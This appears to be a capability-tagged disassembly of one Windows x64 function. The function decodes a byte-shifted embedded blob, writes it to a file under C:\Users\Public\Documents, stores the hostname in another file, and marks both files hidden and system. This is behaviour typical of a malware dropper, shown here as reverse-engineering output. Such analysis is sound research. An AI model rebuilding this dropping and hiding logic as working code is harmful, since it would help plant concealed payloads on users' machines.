Function at 0x296201ff0
Capabilities:
Check if file exists
Get file attributes
Get hostname
Move file
Set file attributes
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8d8
mov ecx, 0x1c
mov esi, 0x676f
movabs rax, 0x73726573555c3a43
movabs rdx, 0x5c63696c6275505c
movabs rbx, 0x6c2e706d74626465
mov qword [rsp + 0x50], rax
lea rdi, [rsp + 0x70]
lea r12, [rsp + 0x50]
movabs rax, 0x746e656d75636f44
mov qword [rsp + 0x60], rax
xor eax, eax
lea r13, [rsp + 0x490]
rep stosq qword [rdi], rax
mov ecx, 0x1e
mov qword [rsp + 0x58], rdx
mov edx, 0x5c73
mov qword [rsp + 0x160], rbx
movabs rbx, 0x6142706d74626465
mov qword [rsp + 0x168], rsi
movabs rsi, 0x676f6c2e6b
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x388], rsi
mov rsi, r12
mov qword [rsp + 0x270], 0
mov dword [rdi], 0
lea rdi, [rsp + 0x170]
rep stosq qword [rdi], rax
mov ecx, 0x1e
mov qword [rsp + 0x278], 0
mov qword [rsp + 0x380], rbx
mov dword [rdi], 0
lea rdi, [rsp + 0x280]
rep stosq qword [rdi], rax
mov ecx, 0x1e
mov dword [rdi], 0
lea rdi, [rsp + 0x390]
rep stosq qword [rdi], rax
mov rcx, r13
mov dword [rdi], 0
call fcn.296201d10
mov rdx, r13
mov rcx, r12
lea r13, [rsp + 0x270]
call sub.msvcrt.dll_strcat
mov rcx, r12
mov rdi, r13
call sub.msvcrt.dll_strlen
mov edx, 0x5c
mov word [r12 + rax], dx
lea rdx, [rax + 2]
cmp edx, 8
jb 0x29620213d
mov ecx, edx
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
xor ecx, ecx
test dl, 4
je 0x29620214d
mov ecx, dword [rsi]
mov dword [rdi], ecx
mov ecx, 4
test dl, 2
je 0x296202160
movzx r8d, word [rsi + rcx]
mov word [rdi + rcx], r8w
add rcx, 2
and edx, 1
je 0x29620216c
movzx edx, byte [rsi + rcx]
mov byte [rdi + rcx], dl
mov rdx, qword [rsp + 0x380]
lea rax, [r13 + rax + 1]
mov rcx, r12
mov qword [rax], rdx
mov edx, dword [rsp + 0x388]
mov dword [rax + 8], edx
movzx edx, word [rsp + 0x38c]
mov word [rax + 0xc], dx
call fcn.2962018e0
lea rdx, [rsp + 0x160]
mov rcx, r12
call sub.msvcrt.dll_strcat
xor edx, edx
mov rcx, r12
call fcn.296201ac0
mov rbx, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov rcx, r12
call rbx
cmp eax, 0xffffffff
je 0x2962021de
mov edx, pe_nt_image_headers64
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rdx, r13
mov rcx, r12
call sub.msvcrt.dll_rename
mov edx, 1
mov ecx, 0x1545
call sub.msvcrt.dll_calloc
mov rbp, rax
test rax, rax
je 0x29620245c
mov rdi, rax
lea rsi, [0x2962be020]
mov ecx, 0x2a8
rep movsq qword [rdi], qword [rsi]
lea rcx, [rbp + 0x1544]
mov eax, dword [rsi]
mov dword [rdi], eax
mov rax, rbp
nop dword [rax]
movzx edx, byte [rax]
test dl, dl
je 0x29620222c
sub edx, 1
mov byte [rax], dl
add rax, 1
cmp rax, rcx
jne 0x296202220
mov rsi, qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
mov qword [rsp + 0x30], 0
mov edx, 0x40000000
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
call rsi
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x29620245c
lea r9, [rsp + 0x44]
mov r8d, 0x1544
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x20], 0
mov r14, qword [sym.imp.KERNEL32.dll_WriteFile]
call r14
mov rcx, r13
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r13
mov rcx, r12
call rbx
cmp eax, 0xffffffff
jne 0x296202476
mov rcx, rbp
xor ebp, ebp
lea rdi, [rsp + 0x5c0]
call fcn.296222dd8
mov rcx, r12
mov edx, 1
lea r15, [rsp + 0x5a0]
call fcn.296201ac0
mov ecx, 0x1c
xor r9d, r9d
xor r8d, r8d
movabs rax, 0x73726573555c3a43
movabs rdx, 0x5c63696c6275505c
mov qword [rsp + 0x5a0], rax
movabs rax, 0x746e656d75636f44
mov qword [rsp + 0x5b0], rax
mov rax, rbp
rep stosq qword [rdi], rax
mov ecx, 0x1e
mov qword [rsp + 0x5a8], rdx
movabs rax, 0x6c2e706d74626465
mov qword [rsp + 0x6b0], rax
mov rax, rbp
mov edx, 0x5c73
mov qword [rsp + 0x5b8], rdx
mov edx, 0x676f
mov qword [rsp + 0x6b8], rdx
mov edx, 0x40000000
mov dword [rdi], 0
lea rdi, [rsp + 0x6c0]
rep stosq qword [rdi], rax
mov rcx, r15
movabs rax, 0x6c2e706d74626465
mov qword [rsp + 0x5ba], rax
movzx eax, word [rsp + 0x6b8]
mov word [rsp + 0x5c2], ax
movzx eax, byte [rsp + 0x6ba]
mov dword [rdi], 0
mov byte [rsp + 0x5c4], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
call rsi
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x29620245c
mov rax, rbp
lea rdi, [rsp + 0x7d0]
mov ecx, 0x1e
mov dword [rsp + 0x48], 0x104
rep stosq qword [rdi], rax
lea rsi, [rsp + 0x7c0]
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x7c0], 0
mov qword [rsp + 0x7c8], 0
mov rcx, rsi
mov dword [rdi], 0
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov r8d, dword [rsp + 0x48]
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
call r14
mov rcx, r12
mov r12d, 1
call r13
mov rcx, r15
call rbx
cmp eax, 0xffffffff
je 0x29620245f
mov edx, 7
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x29620245f
xor r12d, r12d
mov eax, r12d
add rsp, 0x8d8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov edx, 7
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x2962022b1